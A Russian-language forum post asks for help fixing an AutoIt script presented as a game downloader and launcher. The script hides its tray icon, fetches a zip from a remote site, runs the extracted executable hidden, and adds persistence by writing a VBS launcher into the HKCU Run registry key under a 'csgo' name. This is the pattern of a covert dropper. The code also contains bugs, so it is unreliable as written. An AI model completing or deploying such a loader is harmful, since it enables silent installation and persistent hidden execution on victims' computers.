Всем привет, подскажите, что из сего кода я напутал/пропустил
Задача:
Скачать архив с игрой - если его нет
извлечь архив в указанную папку
запустить в соотв. с архитектурой ос
при повторном запуске проверять, есть ли архив, есть ли уже по данным путям извлеченный, есть ли процесс в диспетчере
Код:
Opt("TrayIconHide", 1)
#include <_Zip.au3>
If Not FileExists(@AppDataDir & "\geme") Then
DirCreate(@AppDataDir & "\geme")
EndIf
$sUrlOfFile = ("http://site.ru/game.zip")
$unzip = @TempDir & "\game.zip"
$PathToFile = @AppDataDir & "\geme\"
_Zip_Unzip($unzip, $PathToFile, 0)
If @OSArch = "X86" Then
$sLocalName = 'game\game32.exe'
Else
$sLocalName = 'game\game64.exe'
EndIf
$sLocalPathToFile = @AppDataDir & "\game\" & $sLocalName
$sCommandLineFor = 'запустить консоль с параметрами cs' ;
If ProcessExists(sLocalName) Then Exit
If FileExists ($sLocalPathToFile) Then
Run($sLocalPathToFile & ' ' & $sCommandLineFor,'',@SW_HIDE)
AutoRun ()
Exit
EndIf
$iResInet = InetGet($sUrlOfFile, $unzip, 0)
If $iResInet Then
Run($sLocalPathToFile & ' ' & $sCommandLineFor,'',@SW_HIDE)
EndIf
AutoRun ()
Exit
Func AutoRun ()
If @OSArch = 'X64' Then
$sRegRunPath = 'HKCU64' & '\Software\Microsoft\Windows\CurrentVersion\Run'
Else
$sRegRunPath = 'HKCU' & '\Software\Microsoft\Windows\CurrentVersion\Run'
EndIf
; vbs-скрипт
Local $sVbsStr1, $sVbsStr2, $sVbsStr3, $sVbsStr4
$sVbsStr1 = 'Set WshShell = CreateObject("WScript.Shell")'
$sVbsStr2 = 'ScriptPath = Left(WScript.ScriptFullName,InStrRev(WScript.ScriptFullName,"\"))'
$sVbsStr3 = 'WshShell.CurrentDirectory = ScriptPath'
$sVbsStr4 = 'WshShell.Run "' & $sLocalPathToFile & ' ' & $sCommandLineFor & '",0'
Local $sLocalPathToVbs = $sLocalPathToFile & '.vbs'
If Not FileExists ($sLocalPathToVbs) Then
FileWriteLine ($sLocalPathToVbs, $sVbsStr1 & @CRLF & $sVbsStr2 & @CRLF & $sVbsStr3 & @CRLF & $sVbsStr4 & @CRLF)
EndIf
RegWrite($sRegRunPath, $sLocalName & 'csgo', 'REG_SZ', $sLocalPathToVbs)
EndFunc
Задача:
Скачать архив с игрой - если его нет
извлечь архив в указанную папку
запустить в соотв. с архитектурой ос
при повторном запуске проверять, есть ли архив, есть ли уже по данным путям извлеченный, есть ли процесс в диспетчере